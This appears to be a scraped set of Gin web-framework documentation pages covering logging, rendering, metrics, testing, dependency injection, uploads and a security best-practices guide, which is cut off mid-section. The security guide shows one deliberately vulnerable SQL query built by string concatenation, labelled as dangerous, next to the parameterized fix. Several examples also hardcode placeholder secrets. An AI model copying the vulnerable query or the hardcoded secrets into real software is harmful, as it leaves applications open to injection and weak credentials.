      // simulate a long task with time.Sleep(). 5 seconds
      time.Sleep(5 * time.Second)


      // note that you are using the copied context "cCp", IMPORTANT
      log.Println("Done! in path " + cCp.Request.URL.Path)
    }()
  })


  router.GET("/long_sync", func(c *gin.Context) {
    // simulate a long task with time.Sleep(). 5 seconds
    time.Sleep(5 * time.Second)


    // since we are NOT using a goroutine, we do not have to copy the context
    log.Println("Done! in path " + c.Request.URL.Path)
  })


  // Listen and serve on 0.0.0.0:8080
  router.Run(":8080")
}
```

----
url: https://gin-gonic.com/en/docs/logging/custom-log-format/
----

[Skip to content](#_top)

# Custom log file

For example:

```
func main() {
  router := gin.New()
  // LoggerWithFormatter middleware will write the logs to gin.DefaultWriter
  // By default gin.DefaultWriter = os.Stdout
  router.Use(gin.LoggerWithFormatter(func(param gin.LogFormatterParams) string {
    // your custom format
    return fmt.Sprintf("%s - [%s] \"%s %s %s %d %s \"%s\" %s\"\n",
        param.ClientIP,
        param.TimeStamp.Format(time.RFC1123),
        param.Method,
        param.Path,
        param.Request.Proto,
        param.StatusCode,
        param.Latency,
        param.Request.UserAgent(),
        param.ErrorMessage,
    )
  }))
  router.Use(gin.Recovery())
  router.GET("/ping", func(c *gin.Context) {
    c.String(200, "pong")
  })
  router.Run(":8080")
}
```

**Sample Output**

```
::1 - [Fri, 07 Dec 2018 17:04:38 JST] "GET /ping HTTP/1.1 200 122.767µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36" "
```

----
url: https://gin-gonic.com/en/docs/logging/controlling-log-output-coloring/
----

[Skip to content](#_top)

# Controlling Log output coloring

By default, logs output on console should be colorized depending on the detected TTY.

Never colorize logs:

```
func main() {
    // Disable log's color
    gin.DisableConsoleColor()


    // Creates a gin router with default middleware:
    // logger and recovery (crash-free) middleware
    router := gin.Default()


    router.GET("/ping", func(c *gin.Context) {
        c.String(200, "pong")
    })


    router.Run(":8080")
}
```

Always colorize logs:

```
func main() {
    // Force log's color
    gin.ForceConsoleColor()


    // Creates a gin router with default middleware:
    // logger and recovery (crash-free) middleware
    router := gin.Default()


    router.GET("/ping", func(c *gin.Context) {
        c.String(200, "pong")
    })


    router.Run(":8080")
}
```

----
url: https://gin-gonic.com/en/docs/rendering/pure-json/
----

[Skip to content](#_top)

# PureJSON

Normally, Go’s `json.Marshal` replaces special HTML characters with unicode escape sequences for safety — for example, `<` becomes `\u003c`. This is fine when embedding JSON in HTML, but if you are building a pure API, clients may expect the literal characters.

`c.PureJSON` uses `json.Encoder` with `SetEscapeHTML(false)`, so HTML characters like `<`, `>`, and `&` are rendered literally instead of being escaped.

Use `PureJSON` when your API consumers expect raw, unescaped JSON. Use the standard `JSON` when the response might be embedded in an HTML page.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  // Standard JSON -- escapes HTML characters
  router.GET("/json", func(c *gin.Context) {
    c.JSON(http.StatusOK, gin.H{
      "html": "<b>Hello, world!</b>",
    })
  })


  // PureJSON -- serves literal characters
  router.GET("/purejson", func(c *gin.Context) {
    c.PureJSON(http.StatusOK, gin.H{
      "html": "<b>Hello, world!</b>",
    })
  })


  router.Run(":8080")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# Standard JSON -- HTML characters are escaped
curl http://localhost:8080/json
# Output: {"html":"\u003cb\u003eHello, world!\u003c/b\u003e"}


# PureJSON -- HTML characters are literal
curl http://localhost:8080/purejson
# Output: {"html":"<b>Hello, world!</b>"}
```

## See also

[Section titled “See also”](#see-also)

* [AsciiJSON](/en/docs/rendering/ascii-json/)
* [SecureJSON](/en/docs/rendering/secure-json/)
* [Rendering](/en/docs/rendering/rendering/)

----
url: https://gin-gonic.com/en/docs/
----

[Skip to content](#_top)

# Documentation

Gin is a high-performance HTTP web framework written in [Go](https://go.dev/). It provides a Martini-like API but with significantly better performance—up to 40 times faster—thanks to [httprouter](https://github.com/julienschmidt/httprouter). Gin is designed for building REST APIs, web applications, and microservices where speed and developer productivity are essential.

**Why choose Gin?**

Gin combines the simplicity of Express.js-style routing with Go’s performance characteristics, making it ideal for:

* Building high-throughput REST APIs
* Developing microservices that need to handle many concurrent requests
* Creating web applications that require fast response times
* Prototyping web services quickly with minimal boilerplate

**Gin’s key features:**

* **Zero allocation router** - Extremely memory-efficient routing with no heap allocations
* **High performance** - Benchmarks show superior speed compared to other Go web frameworks
* **Middleware support** - Extensible middleware system for authentication, logging, CORS, etc.
* **Crash-free** - Built-in recovery middleware prevents panics from crashing your server
* **JSON validation** - Automatic request/response JSON binding and validation
* **Route grouping** - Organize related routes and apply common middleware
* **Error management** - Centralized error handling and logging
* **Built-in rendering** - Support for JSON, XML, HTML templates, and more
* **Extensible** - Large ecosystem of community middleware and plugins

## Getting Started

[Section titled “Getting Started”](#getting-started)

### Prerequisites

[Section titled “Prerequisites”](#prerequisites)

* **Go version**: Gin requires [Go](https://go.dev/) version [1.25](https://go.dev/doc/devel/release#go1.25) or above
* **Basic Go knowledge**: Familiarity with Go syntax and package management is helpful

### Installation

[Section titled “Installation”](#installation)

With [Go’s module support](https://go.dev/wiki/Modules#how-to-use-modules), simply import Gin in your code and Go will automatically fetch it during build:

```
import "github.com/gin-gonic/gin"
```

### Your First Gin Application

[Section titled “Your First Gin Application”](#your-first-gin-application)

Here’s a complete example that demonstrates Gin’s simplicity:

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  // Create a Gin router with default middleware (logger and recovery)
  r := gin.Default()


  // Define a simple GET endpoint
  r.GET("/ping", func(c *gin.Context) {
    // Return JSON response
    c.JSON(http.StatusOK, gin.H{
      "message": "pong",
    })
  })


  // Start server on port 8080 (default)
  // Server will listen on 0.0.0.0:8080 (localhost:8080 on Windows)
  r.Run()
}
```

**Running the application:**

1. Save the code above as `main.go`

2. Run the application:

   Terminal window

   ```
   go run main.go
   ```

3. Open your browser and visit [`http://localhost:8080/ping`](http://localhost:8080/ping)

4. You should see: `{"message":"pong"}`

**What this example demonstrates:**

* Creating a Gin router with default middleware
* Defining HTTP endpoints with simple handler functions
* Returning JSON responses
* Starting an HTTP server

### Next Steps

[Section titled “Next Steps”](#next-steps)

After running your first Gin application, explore these resources to learn more:

#### 📚 Learning Resources

[Section titled “📚 Learning Resources”](#-learning-resources)

* **[Gin Quick Start Guide](./quickstart/)** - Comprehensive tutorial with API examples and build configurations

* **[Example Repository](https://github.com/gin-gonic/examples)** - Ready-to-run examples demonstrating various Gin use cases:

  * REST API development
  * Authentication & middleware
  * File uploads and downloads
  * WebSocket connections
  * Template rendering

### Official Tutorials

[Section titled “Official Tutorials”](#official-tutorials)

* [Go.dev Tutorial: Developing a RESTful API with Go and Gin](https://go.dev/doc/tutorial/web-service-gin)

## 🔌 Middleware Ecosystem

[Section titled “🔌 Middleware Ecosystem”](#-middleware-ecosystem)

Gin has a rich ecosystem of middleware for common web development needs. Explore community-contributed middleware:

* **[gin-contrib](https://github.com/gin-contrib)** - Official middleware collection including:

  * Authentication (JWT, Basic Auth, Sessions)
  * CORS, Rate limiting, Compression
  * Logging, Metrics, Tracing
  * Static file serving, Template engines

* **[gin-gonic/contrib](https://github.com/gin-gonic/contrib)** - Additional community middleware

----
url: https://gin-gonic.com/en/docs/server-config/metrics/
----

[Skip to content](#_top)

# Metrics and Monitoring

Exposing application metrics allows you to monitor request rates, latencies, error rates, and resource usage in production. [Prometheus](https://prometheus.io/) is the most common monitoring system used with Go applications.

## Using gin-contrib/openmetrics

[Section titled “Using gin-contrib/openmetrics”](#using-gin-contribopenmetrics)

The [gin-contrib/openmetrics](https://github.com/gin-contrib/openmetrics) middleware provides a ready-to-use Prometheus metrics endpoint:

Terminal window

```
go get github.com/gin-contrib/openmetrics
```

```
package main


import (
  "github.com/gin-contrib/openmetrics"
  "github.com/gin-gonic/gin"
)


func main() {
  r := gin.Default()


  // Expose /metrics endpoint for Prometheus scraping
  r.Use(openmetrics.NewOpenMetrics("myapp", openmetrics.WithExpose()))


  r.GET("/ping", func(c *gin.Context) {
    c.JSON(200, gin.H{"message": "pong"})
  })


  r.Run(":8080")
}
```

## Custom Prometheus metrics

[Section titled “Custom Prometheus metrics”](#custom-prometheus-metrics)

For more control, use the [prometheus/client\_golang](https://github.com/prometheus/client_golang) library directly:

```
package main


import (
  "strconv"
  "time"


  "github.com/gin-gonic/gin"
  "github.com/prometheus/client_golang/prometheus"
  "github.com/prometheus/client_golang/prometheus/promhttp"
)


var (
  httpRequestsTotal = prometheus.NewCounterVec(
    prometheus.CounterOpts{
      Name: "http_requests_total",
      Help: "Total number of HTTP requests",
    },
    []string{"method", "path", "status"},
  )


  httpRequestDuration = prometheus.NewHistogramVec(
    prometheus.HistogramOpts{
      Name:    "http_request_duration_seconds",
      Help:    "HTTP request duration in seconds",
      Buckets: prometheus.DefBuckets,
    },
    []string{"method", "path"},
  )
)


func init() {
  prometheus.MustRegister(httpRequestsTotal)
  prometheus.MustRegister(httpRequestDuration)
}


func MetricsMiddleware() gin.HandlerFunc {
  return func(c *gin.Context) {
    start := time.Now()


    c.Next()


    duration := time.Since(start).Seconds()
    status := strconv.Itoa(c.Writer.Status())


    httpRequestsTotal.WithLabelValues(c.Request.Method, c.FullPath(), status).Inc()
    httpRequestDuration.WithLabelValues(c.Request.Method, c.FullPath()).Observe(duration)
  }
}


func main() {
  r := gin.Default()
  r.Use(MetricsMiddleware())


  // Expose metrics endpoint (separate from application routes)
  r.GET("/metrics", gin.WrapH(promhttp.Handler()))


  r.GET("/ping", func(c *gin.Context) {
    c.JSON(200, gin.H{"message": "pong"})
  })


  r.Run(":8080")
}
```

## Key metrics to monitor

[Section titled “Key metrics to monitor”](#key-metrics-to-monitor)

For a production Gin application, track these metrics:

| Metric                          | Type      | Purpose                                     |
| ------------------------------- | --------- | ------------------------------------------- |
| `http_requests_total`           | Counter   | Total request count by method, path, status |
| `http_request_duration_seconds` | Histogram | Request latency distribution                |
| `http_requests_in_flight`       | Gauge     | Currently processing requests               |
| `http_response_size_bytes`      | Histogram | Response body sizes                         |

## Serving metrics on a separate port

[Section titled “Serving metrics on a separate port”](#serving-metrics-on-a-separate-port)

In production, serve metrics on a separate port to keep them internal:

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
  "github.com/prometheus/client_golang/prometheus/promhttp"
)


func main() {
  // Application server
  app := gin.Default()
  app.GET("/ping", func(c *gin.Context) {
    c.JSON(200, gin.H{"message": "pong"})
  })


  // Metrics server on a separate port
  go func() {
    metrics := http.NewServeMux()
    metrics.Handle("/metrics", promhttp.Handler())
    http.ListenAndServe(":9090", metrics)
  }()


  app.Run(":8080")
}
```

This way, you can expose port 8080 publicly while keeping port 9090 internal to your infrastructure.

## Prometheus scrape configuration

[Section titled “Prometheus scrape configuration”](#prometheus-scrape-configuration)

Add your application to the Prometheus configuration:

prometheus.yml

```
scrape_configs:
  - job_name: "gin-app"
    scrape_interval: 15s
    static_configs:
      - targets: ["localhost:9090"]
```

## Testing

[Section titled “Testing”](#testing)

Terminal window

```
# Generate some traffic
curl http://localhost:8080/ping


# Check metrics
curl http://localhost:9090/metrics
```

You should see output like:

```
# HELP http_requests_total Total number of HTTP requests
# TYPE http_requests_total counter
http_requests_total{method="GET",path="/ping",status="200"} 1


# HELP http_request_duration_seconds HTTP request duration in seconds
# TYPE http_request_duration_seconds histogram
http_request_duration_seconds_bucket{method="GET",path="/ping",le="0.005"} 1
...
```

## See also

[Section titled “See also”](#see-also)

* [Health Checks](/en/docs/server-config/health-check/)
* [Run multiple service](/en/docs/server-config/run-multiple-service/)

----
url: https://gin-gonic.com/en/docs/testing/
----

[Skip to content](#_top)

# Testing

## How to write test case for Gin?

[Section titled “How to write test case for Gin?”](#how-to-write-test-case-for-gin)

The `net/http/httptest` package is the preferred way for HTTP testing.

### Suppress debug output

[Section titled “Suppress debug output”](#suppress-debug-output)

Call `gin.SetMode(gin.TestMode)` before creating the router in your tests. This suppresses the debug-level route registration logs that Gin prints by default, keeping your test output clean. You can place this in `TestMain` so it applies to all tests in the package:

```
func TestMain(m *testing.M) {
  gin.SetMode(gin.TestMode)
  os.Exit(m.Run())
}
```

### Example application

[Section titled “Example application”](#example-application)

```
package main


import "github.com/gin-gonic/gin"


type User struct {
  Username string `json:"username"`
  Gender   string `json:"gender"`
}


func setupRouter() *gin.Engine {
  router := gin.Default()
  router.GET("/ping", func(c *gin.Context) {
    c.String(200, "pong")
  })
  return router
}


func postUser(router *gin.Engine) *gin.Engine {
  router.POST("/user/add", func(c *gin.Context) {
    var user User
    c.BindJSON(&user)
    c.JSON(200, user)
  })
  return router
}


func main() {
  router := setupRouter()
  router = postUser(router)
  router.Run(":8080")
}
```

### Basic tests

[Section titled “Basic tests”](#basic-tests)

```
package main


import (
  "net/http"
  "net/http/httptest"
  "encoding/json"
  "testing"
  "strings"


  "github.com/stretchr/testify/assert"
)


func TestPingRoute(t *testing.T) {
  router := setupRouter()


  w := httptest.NewRecorder()
  req, _ := http.NewRequest("GET", "/ping", nil)
  router.ServeHTTP(w, req)


  assert.Equal(t, 200, w.Code)
  assert.Equal(t, "pong", w.Body.String())
}


// Test for POST /user/add
func TestPostUser(t *testing.T) {
  router := setupRouter()
  router = postUser(router)


  w := httptest.NewRecorder()


  // Create an example user for testing
  exampleUser := User{
    Username: "test_name",
    Gender:   "male",
  }
  userJson, _ := json.Marshal(exampleUser)
  req, _ := http.NewRequest("POST", "/user/add", strings.NewReader(string(userJson)))
  router.ServeHTTP(w, req)


  assert.Equal(t, 200, w.Code)
  // Compare the response body with the json data of exampleUser
  assert.Equal(t, string(userJson), w.Body.String())
}
```

### Table-driven tests

[Section titled “Table-driven tests”](#table-driven-tests)

Table-driven tests let you cover many input/output combinations without duplicating test logic. This pattern is idiomatic Go and works well with Gin:

```
func TestPingRouteTableDriven(t *testing.T) {
  router := setupRouter()


  tests := []struct {
    name       string
    method     string
    path       string
    wantCode   int
    wantBody   string
  }{
    {"ping endpoint", "GET", "/ping", 200, "pong"},
    {"not found", "GET", "/nonexistent", 404, ""},
  }


  for _, tt := range tests {
    t.Run(tt.name, func(t *testing.T) {
      w := httptest.NewRecorder()
      req, _ := http.NewRequest(tt.method, tt.path, nil)
      router.ServeHTTP(w, req)


      assert.Equal(t, tt.wantCode, w.Code)
      if tt.wantBody != "" {
        assert.Equal(t, tt.wantBody, w.Body.String())
      }
    })
  }
}
```

### Testing middleware

[Section titled “Testing middleware”](#testing-middleware)

To test a middleware in isolation, create a minimal router with the middleware applied and a simple handler that records the result:

```
func TestAuthMiddleware(t *testing.T) {
  gin.SetMode(gin.TestMode)


  // Create a router with the middleware under test
  router := gin.New()
  router.Use(AuthRequired()) // your middleware


  router.GET("/protected", func(c *gin.Context) {
    c.String(200, "ok")
  })


  // Test without credentials -- expect 401
  w := httptest.NewRecorder()
  req, _ := http.NewRequest("GET", "/protected", nil)
  router.ServeHTTP(w, req)
  assert.Equal(t, 401, w.Code)


  // Test with valid credentials -- expect 200
  w = httptest.NewRecorder()
  req, _ = http.NewRequest("GET", "/protected", nil)
  req.Header.Set("Authorization", "Bearer valid-token")
  router.ServeHTTP(w, req)
  assert.Equal(t, 200, w.Code)
}
```

----
url: https://gin-gonic.com/en/docs/middleware/custom-recovery/
----

[Skip to content](#_top)

# Custom Recovery behavior

Gin’s built-in `gin.Recovery()` middleware catches any panic that happens while handling a request, writes a `500` response, and keeps the server running. When you need to control what happens on recovery – for example to report the panic to the user, save it to a database, or send it to an error-tracking service – use `gin.CustomRecovery()` instead.

`gin.CustomRecovery()` takes a handler with the signature `func(c *gin.Context, recovered any)`. The `recovered` value is whatever was passed to `panic()`. Inside the handler you decide how to respond, then call `c.AbortWithStatus()` (or another abort method) so the remaining handlers are skipped.

```
package main


import (
  "fmt"
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  // Creates a router without any middleware by default
  r := gin.New()


  // Global middleware
  // Logger middleware will write the logs to gin.DefaultWriter even if you set with GIN_MODE=release.
  // By default gin.DefaultWriter = os.Stdout
  r.Use(gin.Logger())


  // Recovery middleware recovers from any panics and writes a 500 if there was one.
  r.Use(gin.CustomRecovery(func(c *gin.Context, recovered any) {
    if err, ok := recovered.(string); ok {
      c.String(http.StatusInternalServerError, fmt.Sprintf("error: %s", err))
    }
    c.AbortWithStatus(http.StatusInternalServerError)
  }))


  r.GET("/panic", func(c *gin.Context) {
    // panic with a string -- the custom middleware could save this to a database or report it to the user
    panic("foo")
  })


  r.GET("/", func(c *gin.Context) {
    c.String(http.StatusOK, "ohai")
  })


  // Listen and serve on 0.0.0.0:8080
  r.Run(":8080")
}
```

## Try it

[Section titled “Try it”](#try-it)

Terminal window

```
# Triggers the panic; the custom recovery handler returns the message
curl http://localhost:8080/panic
# => error: foo


# A normal request still works
curl http://localhost:8080/
# => ohai
```

## See also

[Section titled “See also”](#see-also)

* [Custom Middleware](/en/docs/middleware/custom-middleware/)
* [Blank Gin without middleware by default](/en/docs/middleware/without-middleware/)
* [Error handling middleware](/en/docs/middleware/error-handling-middleware/)

----
url: https://gin-gonic.com/en/docs/middleware/dependency-injection/
----

[Skip to content](#_top)

# Dependency Injection Patterns

As your Gin application grows, you need a clean way to share dependencies like database connections, configuration, and services across handlers. Go’s simplicity encourages straightforward patterns over heavy DI frameworks.

## Closure pattern

[Section titled “Closure pattern”](#closure-pattern)

The most idiomatic Go approach: pass dependencies via closures.

```
package main


import (
  "database/sql"
  "net/http"


  "github.com/gin-gonic/gin"
  _ "github.com/lib/pq"
)


func PingHandler(db *sql.DB) gin.HandlerFunc {
  return func(c *gin.Context) {
    if err := db.Ping(); err != nil {
      c.JSON(http.StatusServiceUnavailable, gin.H{"error": "database unreachable"})
      return
    }
    c.JSON(http.StatusOK, gin.H{"status": "ok"})
  }
}


func GetUserHandler(db *sql.DB) gin.HandlerFunc {
  return func(c *gin.Context) {
    id := c.Param("id")
    var name string
    err := db.QueryRowContext(c.Request.Context(), "SELECT name FROM users WHERE id = $1", id).Scan(&name)
    if err != nil {
      c.JSON(http.StatusNotFound, gin.H{"error": "user not found"})
      return
    }
    c.JSON(http.StatusOK, gin.H{"name": name})
  }
}


func main() {
  db, err := sql.Open("postgres", "postgres://user:pass@localhost/dbname?sslmode=disable")
  if err != nil {
    panic(err)
  }
  defer db.Close()


  r := gin.Default()
  r.GET("/ping", PingHandler(db))
  r.GET("/users/:id", GetUserHandler(db))
  r.Run(":8080")
}
```

This pattern works well for small to medium applications. Each handler explicitly declares its dependencies.

## Struct-based handlers

[Section titled “Struct-based handlers”](#struct-based-handlers)

For applications with many shared dependencies, group handlers in a struct:

```
package main


import (
  "database/sql"
  "log/slog"
  "net/http"


  "github.com/gin-gonic/gin"
  _ "github.com/lib/pq"
)


type App struct {
  DB     *sql.DB
  Logger *slog.Logger
}


func (a *App) GetUser(c *gin.Context) {
  id := c.Param("id")
  var name string
  err := a.DB.QueryRowContext(c.Request.Context(), "SELECT name FROM users WHERE id = $1", id).Scan(&name)
  if err != nil {
    a.Logger.Error("user not found", slog.String("id", id), slog.String("error", err.Error()))
    c.JSON(http.StatusNotFound, gin.H{"error": "user not found"})
    return
  }
  c.JSON(http.StatusOK, gin.H{"id": id, "name": name})
}


func (a *App) CreateUser(c *gin.Context) {
  var input struct {
    Name string `json:"name" binding:"required"`
  }
  if err := c.ShouldBindJSON(&input); err != nil {
    c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
    return
  }


  _, err := a.DB.ExecContext(c.Request.Context(), "INSERT INTO users (name) VALUES ($1)", input.Name)
  if err != nil {
    c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to create user"})
    return
  }
  c.JSON(http.StatusCreated, gin.H{"name": input.Name})
}


func main() {
  db, err := sql.Open("postgres", "postgres://user:pass@localhost/dbname?sslmode=disable")
  if err != nil {
    panic(err)
  }
  defer db.Close()


  app := &App{
    DB:     db,
    Logger: slog.Default(),
  }


  r := gin.Default()
  r.GET("/users/:id", app.GetUser)
  r.POST("/users", app.CreateUser)
  r.Run(":8080")
}
```

## Middleware injection

[Section titled “Middleware injection”](#middleware-injection)

Use middleware to inject dependencies into the request context. This is useful when many handlers need the same dependency:

```
func DatabaseMiddleware(db *sql.DB) gin.HandlerFunc {
  return func(c *gin.Context) {
    c.Set("db", db)
    c.Next()
  }
}


func GetUser(c *gin.Context) {
  db := c.MustGet("db").(*sql.DB)
  // Use db...
}


func main() {
  db, _ := sql.Open("postgres", "postgres://user:pass@localhost/dbname?sslmode=disable")


  r := gin.Default()
  r.Use(DatabaseMiddleware(db))
  r.GET("/users/:id", GetUser)
  r.Run(":8080")
}
```

## Comparing patterns

[Section titled “Comparing patterns”](#comparing-patterns)

| Pattern    | Type safety  | Testability  | Best for                             |
| ---------- | ------------ | ------------ | ------------------------------------ |
| Closure    | Compile-time | Easy to mock | Small apps, few dependencies         |
| Struct     | Compile-time | Easy to mock | Medium-large apps                    |
| Middleware | Runtime      | Moderate     | Cross-cutting concerns, shared state |

## Testing with dependency injection

[Section titled “Testing with dependency injection”](#testing-with-dependency-injection)

All patterns make testing straightforward — inject test doubles:

```
func TestGetUser(t *testing.T) {
  // Set up test database or mock
  db := setupTestDB(t)


  router := gin.New()
  router.GET("/users/:id", GetUserHandler(db)) // closure pattern


  w := httptest.NewRecorder()
  req, _ := http.NewRequest("GET", "/users/1", nil)
  router.ServeHTTP(w, req)


  assert.Equal(t, 200, w.Code)
}
```

## See also

[Section titled “See also”](#see-also)

* [Database integration](/en/docs/server-config/database/)
* [Testing](/en/docs/testing/)
* [Using middleware](/en/docs/middleware/using-middleware/)

----
url: https://gin-gonic.com/en/docs/routing/upload-file/
----

[Skip to content](#_top)

# Upload files

Gin makes it straightforward to handle multipart file uploads. The framework provides built-in methods on `gin.Context` for receiving uploaded files:

* **`c.FormFile(name)`** – Retrieves a single file from the request by form field name.
* **`c.MultipartForm()`** – Parses the entire multipart form, giving access to all uploaded files and field values.
* **`c.SaveUploadedFile(file, dst)`** – A convenience method that saves a received file to a destination path on disk.

### Memory limit

[Section titled “Memory limit”](#memory-limit)

Gin sets a default memory limit of **32 MiB** for multipart form parsing via `router.MaxMultipartMemory`. Files within this limit are buffered in memory; anything beyond it is written to temporary files on disk. You can adjust this value to suit your application’s needs:

```
router := gin.Default()
// Lower the limit to 8 MiB
router.MaxMultipartMemory = 8 << 20 // 8 MiB
```

### Security note

[Section titled “Security note”](#security-note)

The filename reported by the client (`file.Filename`) **should not** be trusted. Always sanitize or replace it before using it in file system operations. See the [Content-Disposition documentation on MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition#Directives) for details.

### Sub-pages

[Section titled “Sub-pages”](#sub-pages)

* [**Single file**](./single-file/) – Upload and save a single file per request.
* [**Multiple files**](./multiple-file/) – Upload and save multiple files in one request.
* [**Limit upload size**](./limit-bytes/) – Restrict upload size using `http.MaxBytesReader`.

----
url: https://gin-gonic.com/en/docs/binding/bind-form-data-custom-struct-tag/
----

[Skip to content](#_top)

# Bind form-data with custom struct tag

By default, Gin uses the `form` struct tag to bind form data. When you need to bind a struct that uses a different tag — for example, an external type you cannot modify — you can create a custom binding that reads from your own tag.

This is useful when integrating with third-party libraries whose structs use tags like `url`, `query`, or other custom names instead of `form`.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
  "github.com/gin-gonic/gin/binding"
)


const (
  customerTag   = "url"
  defaultMemory = 32 << 20
)


type customerBinding struct{}


func (customerBinding) Name() string {
  return "form"
}


func (customerBinding) Bind(req *http.Request, obj any) error {
  if err := req.ParseForm(); err != nil {
    return err
  }
  if err := req.ParseMultipartForm(defaultMemory); err != nil {
    if err != http.ErrNotMultipart {
      return err
    }
  }
  if err := binding.MapFormWithTag(obj, req.Form, customerTag); err != nil {
    return err
  }
  return validate(obj)
}


func validate(obj any) error {
  if binding.Validator == nil {
    return nil
  }
  return binding.Validator.ValidateStruct(obj)
}


// FormA is an external type that we can't modify its tag
type FormA struct {
  FieldA string `url:"field_a"`
}


func main() {
  router := gin.Default()


  router.GET("/list", func(c *gin.Context) {
    var urlBinding = customerBinding{}
    var opt FormA
    if err := c.MustBindWith(&opt, urlBinding); err != nil {
      return
    }
    c.JSON(http.StatusOK, gin.H{"field_a": opt.FieldA})
  })


  router.Run(":8080")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# The custom binding reads from the "url" struct tag instead of "form"
curl "http://localhost:8080/list?field_a=hello"
# Output: {"field_a":"hello"}


# Missing parameter -- empty string
curl "http://localhost:8080/list"
# Output: {"field_a":""}
```

## See also

[Section titled “See also”](#see-also)

* [Binding and validation](/en/docs/binding/binding-and-validation/)
* [Bind form-data request with custom struct](/en/docs/binding/bind-form-data-request-with-custom-struct/)

----
url: https://gin-gonic.com/en/docs/middleware/security-guide/
----

[Skip to content](#_top)

# Security Best Practices

Web applications are a primary target for attackers. A Gin application that handles user input, stores data, or runs behind a reverse proxy needs deliberate security configuration before it goes to production. This guide covers the most important defenses and shows how to apply each one with Gin middleware and standard Go libraries.

## CORS configuration

[Section titled “CORS configuration”](#cors-configuration)

Cross-Origin Resource Sharing (CORS) controls which external domains can make requests to your API. Misconfigured CORS can allow malicious websites to read responses from your server on behalf of authenticated users.

Use the [`gin-contrib/cors`](https://github.com/gin-contrib/cors) package for a well-tested solution.

```
package main


import (
  "time"


  "github.com/gin-contrib/cors"
  "github.com/gin-gonic/gin"
)


func main() {
  r := gin.Default()


  r.Use(cors.New(cors.Config{
    AllowOrigins:     []string{"https://example.com"},
    AllowMethods:     []string{"GET", "POST", "PUT", "DELETE"},
    AllowHeaders:     []string{"Origin", "Content-Type", "Authorization"},
    ExposeHeaders:    []string{"Content-Length"},
    AllowCredentials: true,
    MaxAge:           12 * time.Hour,
  }))


  r.GET("/api/data", func(c *gin.Context) {
    c.JSON(200, gin.H{"message": "ok"})
  })


  r.Run()
}
```

## CSRF protection

[Section titled “CSRF protection”](#csrf-protection)

Cross-Site Request Forgery tricks an authenticated user’s browser into sending unwanted requests to your application. Any state-changing endpoint (POST, PUT, DELETE) that relies on cookies for authentication needs CSRF protection.

Use the [`gin-contrib/csrf`](https://github.com/gin-contrib/csrf) middleware to add token-based protection.

```
package main


import (
  "github.com/gin-contrib/csrf"
  "github.com/gin-contrib/sessions"
  "github.com/gin-contrib/sessions/cookie"
  "github.com/gin-gonic/gin"
)


func main() {
  r := gin.Default()


  store := cookie.NewStore([]byte("session-secret"))
  r.Use(sessions.Sessions("mysession", store))


  r.Use(csrf.Middleware(csrf.Options{
    Secret: "csrf-token-secret",
    ErrorFunc: func(c *gin.Context) {
      c.String(403, "CSRF token mismatch")
      c.Abort()
    },
  }))


  r.GET("/form", func(c *gin.Context) {
    token := csrf.GetToken(c)
    c.JSON(200, gin.H{"csrf_token": token})
  })


  r.POST("/form", func(c *gin.Context) {
    c.JSON(200, gin.H{"message": "submitted"})
  })


  r.Run()
}
```

## Rate limiting

[Section titled “Rate limiting”](#rate-limiting)

Rate limiting prevents abuse, brute-force attacks, and resource exhaustion. You can use the standard library’s `golang.org/x/time/rate` package to build a simple per-client rate limiter as middleware.

```
package main


import (
  "net/http"
  "sync"


  "github.com/gin-gonic/gin"
  "golang.org/x/time/rate"
)


func RateLimiter() gin.HandlerFunc {
  type client struct {
    limiter *rate.Limiter
  }


  var (
    mu      sync.Mutex
    clients = make(map[string]*client)
  )


  return func(c *gin.Context) {
    ip := c.ClientIP()


    mu.Lock()
    if _, exists := clients[ip]; !exists {
      // Allow 10 requests per second with a burst of 20
      clients[ip] = &client{limiter: rate.NewLimiter(10, 20)}
    }
    cl := clients[ip]
    mu.Unlock()


    if !cl.limiter.Allow() {
      c.AbortWithStatusJSON(http.StatusTooManyRequests, gin.H{
        "error": "rate limit exceeded",
      })
      return
    }


    c.Next()
  }
}


func main() {
  r := gin.Default()
  r.Use(RateLimiter())


  r.GET("/api/resource", func(c *gin.Context) {
    c.JSON(200, gin.H{"message": "ok"})
  })


  r.Run()
}
```

## Input validation and SQL injection prevention

[Section titled “Input validation and SQL injection prevention”](#input-validation-and-sql-injection-prevention)

Always validate and bind input using Gin’s model binding with struct tags. Never construct SQL queries by concatenating user input.

### Validate input with struct tags

[Section titled “Validate input with struct tags”](#validate-input-with-struct-tags)

```
type CreateUser struct {
  Username string `json:"username" binding:"required,alphanum,min=3,max=30"`
  Email    string `json:"email"    binding:"required,email"`
  Age      int    `json:"age"      binding:"required,gte=1,lte=130"`
}


func createUserHandler(c *gin.Context) {
  var req CreateUser
  if err := c.ShouldBindJSON(&req); err != nil {
    c.JSON(400, gin.H{"error": err.Error()})
    return
  }
  // req is now validated; proceed safely
}
```

### Use parameterized queries

[Section titled “Use parameterized queries”](#use-parameterized-queries)

```
// DANGEROUS -- SQL injection vulnerability
row := db.QueryRow("SELECT id FROM users WHERE username = '" + username + "'")


// SAFE -- parameterized query
row := db.QueryRow("SELECT id FROM users WHERE username = $1", username)
```

This applies to every database library. Whether you use `database/sql`, GORM, sqlx, or another ORM, always use parameter placeholders and never string concatenation.

## XSS prevention

[Section titled “XSS prevention”](#xss-prevention)

Cross-Site Scripting (XSS) occurs when an attacker injects malicious scripts that execute in other users’ browsers. Defend against this at multiple layers.

### Escape HTML output

[Section titled “Escape HTML output”](#escape-html-output)

When rendering HTML templates, Go’s `html/template` package escapes output by default. If you return user-supplied data as JSON, make sure the `Content-Type` header is set correctly so browsers do not interpret JSON as HTML.

```
// Gin sets Content-Type automatically for JSON responses.
// Use c.JSON, not c.String, when returning structured data.
c.JSON(200, gin.H{"input": userInput})
```

### Use SecureJSON for JSONP protection

